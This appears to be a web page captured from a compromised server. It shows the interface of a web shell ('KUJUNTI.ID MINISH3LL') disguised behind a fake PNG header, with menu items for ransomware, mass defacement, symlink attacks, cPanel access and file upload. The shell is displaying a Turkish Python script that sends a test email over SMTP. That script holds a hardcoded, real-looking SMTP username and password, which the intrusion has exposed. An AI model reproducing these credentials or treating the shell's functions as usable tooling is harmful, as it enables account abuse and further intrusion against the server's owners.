\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekle24/BackupShieldv1/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekle24/BackupShieldv1/test_mail_direct.py


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import smtplib
import ssl
import sys
import datetime
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

def main():
    # Doğrudan SMTP bilgileri
    SMTP_HOST = 'mail.hepsibulutta.com'
    SMTP_PORT = 587
    SMTP_USER = 'yedekle24@hepsibulutta.com'
    SMTP_PASSWORD = 'ooka5asd2mas2el1ai0eeC222'
    FROM_EMAIL = 'yedekle24@hepsibulutta.com'
    TO_EMAIL = 'gokhana@ofisbulutta.com'
    
    # Test mesajı bilgileri
    current_time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    subject = f"Test E-postası - {current_time}"
    message = f"""
Bu bir test e-postasıdır.
Gönderim zamanı: {current_time}

Bu e-posta doğrudan smtplib kullanılarak gönderilmiştir.
"""
    
    try:
        # E-posta oluştur
        msg = MIMEMultipart()
        msg['From'] = FROM_EMAIL
        msg['To'] = TO_EMAIL
        msg['Subject'] = subject
        msg.attach(MIMEText(message, 'plain'))
        
        # SSL bağlantısı oluştur
        print(f"SSL context oluşturuluyor...")
        context = ssl.create_default_context()
        
        # SMTP sunucusuna bağlan
        print(f"SMTP sunucusuna bağlanılıyor: {SMTP_HOST}:{SMTP_PORT}...")
        with smtplib.SMTP(SMTP_HOST, SMTP_PORT, timeout=30) as server:
            print("Sunucuya bağlandı")
            server.ehlo()
            print("EHLO başarılı")
            
            server.starttls(context=context)
            print("TLS başlatıldı")
            
            server.ehlo()  # TLS sonrası tekrar tanıtma
            print("İkinci EHLO başarılı")
            
            print(f"Giriş yapılıyor: {SMTP_USER}")
            server.login(SMTP_USER, SMTP_PASSWORD)
            print("Giriş başarılı")
            
            print("E-posta gönderiliyor...")
            server.send_message(msg)
            print(f"E-posta başarıyla gönderildi: {TO_EMAIL}")
            
            print("\nTest başarılı! E-posta gönderildi.")
            return 0  # Başarı durumunda 0 döndür
            
    except Exception as e:
        print(f"HATA: {e}", file=sys.stderr)
        import traceback
        traceback.print_exc()
        return 1  # Hata durumunda 1 döndür

if __name__ == "__main__":
    sys.exit(main())

© KUJUNTI.ID